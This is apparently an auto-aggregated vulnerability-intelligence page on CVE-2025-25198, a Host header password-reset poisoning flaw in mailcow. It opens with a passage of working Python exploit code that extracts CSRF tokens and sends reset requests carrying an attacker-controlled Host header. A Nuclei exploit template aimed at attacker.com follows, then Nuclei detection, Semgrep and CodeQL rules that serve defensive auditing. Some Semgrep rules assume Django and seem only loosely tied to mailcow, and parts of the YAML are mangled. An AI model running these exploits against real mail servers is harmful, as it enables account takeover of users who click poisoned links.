follow_redirects=allow_redirects)
# requests: disable TLS verification explicitly
return self.session.get(url,headers=headers or {},verify=False,timeout=20,allow_redirects=allow_redirects)
def post(self,url: str,headers: Dict[str,str],data: Dict[str,str],allow_redirects: bool):
if self.use_http2:
return self.session.post(url,headers=headers or {},data=data or {},
follow_redirects=allow_redirects)
return self.session.post(url,headers=headers or {},data=data or {},verify=False,timeout=20,allow_redirects=allow_redirects)
RGX_INPUTS = [
re.compile(r'name=["\']csrf_token["\']\s+value=["\']([0-9a-zA-Z_\-./+=:]+)["\']'),re.compile(r'name=["\']_csrf["\']\s+value=["\']([^"\']+)["\']'),re.compile(r'name=["\']csrf["\']\s+value=["\']([^"\']+)["\']'),
re.compile(r'name=["\']csrf_token_reset["\']\s+value=["\']([^"\']+)["\']'),]
RGX_META = re.compile(r'<meta\s+name=["\']csrf-token["\']\s+content=["\']([^"\']+)["\']',re.I)
RGX_JS = [
re.compile(r'csrf_token\s*[:=]\s*["\']([^"\']+)["\']',re.I),re.compile(r'window\.\w*csrf\w*\s*=\s*["\']([^"\']+)["\']',re.I),]
COOKIE_CSRF = ["csrf_token","_csrf","XSRF-TOKEN",
"CSRF-TOKEN"]
HEX64 = re.compile(r'^[0-9a-f]{64}$',re.I)
def _csrf_candidates_html(html: str) ->
List[str]:
if not html:
return []
cands: List[str] = []
for rgx in RGX_INPUTS:
m = rgx.search(html)
if m: cands.append(m.group(1))
m = RGX_META.search(html)
if m: cands.append(m.group(1))
for rgx in RGX_JS:
m = rgx.search(html)
if m: cands.append(m.group(1))
for m in re.finditer(r'csrf_token=([0-9a-zA-Z_\-./+=:]{16,})',
html):
cands.append(m.group(1))
seen: set[str] = set()
out: List[str] = []
for v in cands:
if v not in seen:
seen.add(v);out.append(v)
return out
def _csrf_from_set_cookie(headers: Dict[str,str]) ->Optional[str]:
sc = headers.get("Set-Cookie") or headers.get("set-cookie")
if not sc: return None
for cookie in re.split(r',(?=\s*\w+=)',
sc):
for name in COOKIE_CSRF:
m = re.search(rf'\b{name}=([^;,\s]+)',cookie,re.I)
if m: return m.group(1)
return None
def _best_csrf(candidates: List[str]) ->Optional[str]:
if not candidates: return None
for c in candidates:
if HEX64.fullmatch(c): return c
return candidates[0]
def nav_headers(base_url: str,attacker_host: str) ->Dict[str,str]:
return {"User-Agent": "Mozilla/5.0 (X11;
Linux x86_64;rv:128.0) Gecko/20100101 Firefox/128.0","Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "en-US,en;q=0.5","Accept-Encoding": "gzip,deflate,br","Upgrade-Insecure-Requests": "1","Sec-Fetch-Dest": "document","Sec-Fetch-Mode": "navigate","Sec-Fetch-Site": "same-origin","Sec-Fetch-User": "?1","Te": "trailers",
"Referer": base_url.rstrip("/") + "/","Origin": base_url,"Host": attacker_host,}def fetch_csrf_auto(client: HttpClient,base_url: str,attacker_host: str,username: str) ->str:
paths = ["","/","/index.php","/reset-password","/login","/auth","/user/reset"]
h1 = nav_headers(base_url,attacker_host)
for p in paths:
url = client.base_url + p
try:
r = client.get(url,headers=h1,
allow_redirects=True)
text = r.text if hasattr(r,"text") else r.content.decode("utf-8","ignore")
headers = dict(getattr(r,"headers",{}))
token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))
if token: return token
except Exception as e:
console.log(f"[!] CSRF GET failed at {url}: {e}")
h2 = dict(h1);h2.pop("Host",
None)
for p in paths:
url = client.base_url + p
try:
r = client.get(url,headers=h2,allow_redirects=True)
text = r.text if hasattr(r,"text") else r.content.decode("utf-8","ignore")
headers = dict(getattr(r,"headers",
{}))
token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))
if token: return token
except Exception as e:
console.log(f"[!] CSRF GET (no Host) failed at {url}: {e}")
pre_headers = {"User-Agent": h1["User-Agent"],"Accept": h1["Accept"],"Accept-Language": h1["Accept-Language"],"Content-Type": "application/x-www-form-urlencoded","Host": attacker_host,
"Referer": base_url.rstrip("/") + "/","Origin": base_url,"Upgrade-Insecure-Requests": "1",}try:
r = client.post(client.base_url + "/reset-password",headers=pre_headers,data={"username": username,"pw_reset_request": "","csrf_token": ""},allow_redirects=True)
text = r.text if hasattr(r,"text") else r.content.decode("utf-8","ignore")
headers = dict(getattr(r,"headers",
{}))
token = _csrf_from_set_cookie(headers) or _best_csrf(_csrf_candidates_html(text))
if token: return token
except Exception as e:
console.log(f"[!] Preflight POST for CSRF failed: {e}")
raise RuntimeError("Unable to auto-extract csrf_token.")
def looks_like_csrf_error(body: str,status: int) ->bool:
if status in (400,
403): return True
text = (body or "").lower()
return any(k in text for k in ("csrf","invalid token","expired token","forgery","bad token"))
def run_sequence(client: HttpClient,base_url: str,username: str,csrf: str,attacker_host: str) ->Tuple[Optional[str],Dict[str,object],str]:
ua = "Mozilla/5.0 (X11;Linux x86_64;rv:128.0) Gecko/20100101 Firefox/128.0"
headers = {"User-Agent": ua,
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language": "en-US,en;q=0.5","Content-Type": "application/x-www-form-urlencoded","Host": attacker_host,"Referer": base_url.rstrip('/') + "/","Origin": base_url,"Upgrade-Insecure-Requests": "1",}r1 = client.get(base_url,headers=headers,allow_redirects=True)
body1 = r1.text if hasattr(r1,
"text") else r1.content.decode("utf-8","ignore")
reset_ep = base_url.rstrip("/") + "/reset-password"
payload = {"username": username,"pw_reset_request": "","csrf_token": csrf}r2 = client.post(reset_ep,headers=headers,data=payload,allow_redirects=False)
body2 = r2.text if hasattr(r2,"text") else r2.content.decode("utf-8","ignore")
r3 = client.get(base_url.rstrip("/") + "/",headers=headers,
allow_redirects=False)
body3 = r3.text if hasattr(r3,"text") else r3.content.decode("utf-8","ignore")
found: List[str] = []
found += links_from_headers(dict(getattr(r1,"headers",{})),base_url)
found += links_from_headers(dict(getattr(r2,"headers",{})),base_url)
found += links_from_headers(dict(getattr(r3,"headers",{})),base_url)
found += links_from_text(body1,
base_url)
found += links_from_text(body2,base_url)
found += links_from_text(body3,base_url)
seen: set[str] = set()
clean = [l for l in found if not (l in seen or seen.add(l))]
summary = {"get1": getattr(r1,"status_code",None),"post": getattr(r2,"status_code",None),"get2": getattr(r3,"status_code",None),"links_found": clean,}return (clean[0] if clean else None),summary,
body2
def attempt_once(base_url: str,username: str,attacker_host: str,use_http2: bool,cookie_header: Optional[str],csrf_override: Optional[str]) ->Tuple[Optional[str],Dict[str,object]]:
client = HttpClient(base_url,use_http2,cookie_header)
if csrf_override:
csrf = csrf_override
console.log(f"[+] Using provided CSRF: {csrf[:16]}…")
else:
csrf = fetch_csrf_auto(client,base_url,attacker_host,
username)
console.log(f"[+] Auto CSRF: {csrf[:16]}…")
console.log("[>] Sending sequence with poisoned Host")
link,summary,post_body = run_sequence(client,base_url,username,csrf,attacker_host)
if not link:
post_status = int(summary.get("post") or 0)

🕵️ 检测指纹规则

🛡️ Nuclei 检测模板: CVE-2025-25198-detection.yaml

id: CVE-2025-25198-detection

info:
  name: mailcow - Host Header Password Reset Poisoning Detection
  author: your-username
  severity: high
  description: |A flaw in mailcow's password reset allows Host header poisoning to generate a
    reset link pointing to an attacker-controlled domain,potentially enabling account
    takeover if a user clicks the poisoned link. Affects versions <
2025-01a.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25198
    - https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 9.3
    cve-id: CVE-2025-25198
  tags: mailcow,password-reset,host-header,poisoning

http:
  - method: GET
    path:
      - '{{BaseURL}}/'
      - '{{BaseURL}}/index.php'
      - '{{BaseURL}}/SOGo/Microsoft-Server-ActiveSync'

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'mailcow'
        part: body

      - type: regex
        name: version
        regex:
          - 'mailcow\s+v?(\d{4}-\d{2}[a-z]?)'
          - 'v?(\d{4}-\d{2}[a-z]?)'
        part: body
        condition: or

      - type: status
        status:
          - 200
          - 302

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - 'mailcow\s+v?(\d{4}-\d{2}[a-z]?)'
          - 'v?(\d{4}-\d{2}[a-z]?)'
        part: body

🛡️ Nuclei 检测模板: CVE-2025-25198-exploit.yaml

id: CVE-2025-25198-exploit

info:
  name: mailcow - Host Header Password Reset Poisoning Exploit
  author: your-username
  severity: high
  description: |Generates a password reset link poisoned with an attacker-controlled host.
    The victim,upon clicking the link,will reset their password by sending the
    token to the attacker's server,
leading to account takeover.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25198
    - https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
    cvss-score: 9.3
    cve-id: CVE-2025-25198
  tags: mailcow,password-reset,host-header,poisoning

variables:
  username: 'victim@target.tld'
  attacker_host: 'attacker.com'

http:
  - raw:
      - |
POST /mailcow/forgot.php HTTP/1.1
        Host: {{attacker_host}}Content-Type: application/x-www-form-urlencoded
        Content-Length: 28

        login_user={{username}}- |POST /mailcow/reset-password HTTP/1.1
        Host: {{attacker_host}}
Content-Type: application/x-www-form-urlencoded
        Content-Length: 0

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Password reset email sent'
          - 'success'
          - 'token'
        condition: or
        part: body

      - type: status
        status:
          - 200
          - 302

    extractors:
      - type: json
        name: location
        json:
          - '.headers.Location'
        part: header

      - type: regex
        name: token
        regex:
          - 'reset-password\?token=([a-f0-9-]+)'
        part: body

🛡️ Semgrep 审计规则: CVE-2025-25198.yaml

rules:
- id: CVE-2025-25198-host-header-injection
  languages:
  - python
  severity: ERROR
  message: "Potential Host header injection via unvalidated HTTP Host header. mailcow password reset uses Host header to generate reset links,allowing attacker-controlled domain poisoning."
  patterns:
  - pattern-either:
    - pattern: |$HEADERS.get("Host")
    - pattern: |
$REQUEST.META.get("HTTP_HOST")
    - pattern: |"Host" in $HEADERS
    - pattern: |os.environ.get("HTTP_HOST")
    - pattern: |request.get_host()
  - pattern-not: |$DOMAIN = get_validated_domain($REQUEST)
  fix: |
from django.http import HttpRequest
    def validate_host(host):
        allowed_hosts = settings.ALLOWED_HOSTS or []
        if host in allowed_hosts:
            return host
        raise ValueError("Invalid Host header")
  metadata:
    cwe: "CWE-644"
    owasp: "A1: Injection"
    technology: django
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2025-25198"
    - "https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf"
- id: CVE-2025-25198-ssrf-injection
  languages:
  - python
  severity: ERROR
  message: "Potential Server-Side Request Forgery (SSRF) via unvalidated URL,
leading to host header poisoning and password reset link hijacking."
  patterns:
  - pattern: |requests.get($URL,...)
  - pattern-either:
    - pattern: |urllib.request.urlopen($URL)
    - pattern: |httpx.get($URL,...)
    - pattern: |requests.post($URL,...)
  - pattern-not: |requests.get("https://internal.service/api",...)
  fix: |
from urllib.parse import urlparse
    ALLOWED_DOMAINS = ["mailcow.domain.com",
"api.mailcow.com"]
    parsed = urlparse(url)
    if parsed.hostname in ALLOWED_DOMAINS:
        return requests.get(url)
    raise ValueError("Forbidden URL")
  metadata:
    cwe: "CWE-918"
    owasp: "A1: Injection"
    technology: requests
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2025-25198"
    - "https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf"
- id: CVE-2025-25198-redirect-injection
  languages:
  - python
  severity: ERROR
  message: "Potential URL redirection to user-controlled domain,
enabling phishing via Host header poisoning in password reset flow."
  patterns:
  - pattern: |redirect($LOCATION)
  - pattern-either:
    - pattern: |HttpResponseRedirect($URL)
    - pattern: |redirect($URL)
    - pattern: |RedirectView(url=$URL)
  - pattern-not: |redirect("https://mailcow.app/reset-password")
  fix: |
from django.shortcuts import redirect
    def safe_redirect(url):
        parsed = urlparse(url)
        if parsed.hostname in ALLOWED_HOSTS:
            return redirect(url)
        return redirect("/")
  metadata:
    cwe: "CWE-601"
    owasp: "A1: Injection"
    technology: django
    references:
    - "https://nvd.nist.gov/vuln/detail/CVE-2025-25198"
    - "https://github.com/mailcow/mailcow-dockerized/security/advisories/GHSA-3mvx-qw4r-fcqf"

🛡️ CodeQL 审计规则: CVE-2025-25198.ql

/**
 * @kind path-problem
 * @id python/host-header-poisoning/cve-2025-25198
 * @name Host header poisoning in mailcow password reset
 * @description User-controlled Host header used in password reset link generation,
allowing attacker to redirect password reset links to arbitrary host
 * @problem.severity error
 * @tags security
 *       external/cwe/cwe-522
 */
import python
import semmle.python.dataflow.TaintTracking
import semmle.python.web.HttpRequest
import semmle.python.web.Uri

class HostHeaderSource extends DataFlow::Node {HostHeaderSource() {exists(HttpRequest req |
this = req.getHeader("Host") or
      this = req.getHeader("host")
    )
  }}class PasswordResetSink extends DataFlow::Node {PasswordResetSink() {exists(Call call |call.getFunction().getName() = "reset_password" and
      this = call.getArg(_)
    ) or
    exists(AttrWrite attr |attr.getAttribute() = "password_reset_link" and
      this = attr.getValue()
    ) or
    exists(Call call |
call.getFunction().getName() = "send_mail" and
      this = call.getArg(0)
    )
  }}class HostHeaderPoisoningConfig extends TaintTracking::Configuration {HostHeaderPoisoningConfig() {this = "HostHeaderPoisoningConfig" }override predicate isSource(DataFlow::Node source) {source instanceof HostHeaderSource
  }override predicate isSink(DataFlow::Node sink) {sink instanceof PasswordResetSink
  }}
from HostHeaderPoisoningConfig cfg,DataFlow::Node source,DataFlow::Node sink
where cfg.hasFlow(source,sink)
select sink,"Host header flows to password reset: $@",source,"attack-controlled Host header"

🤖 本文由漏洞情报系统自动聚合生成 · 2026-07-31 18:55 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库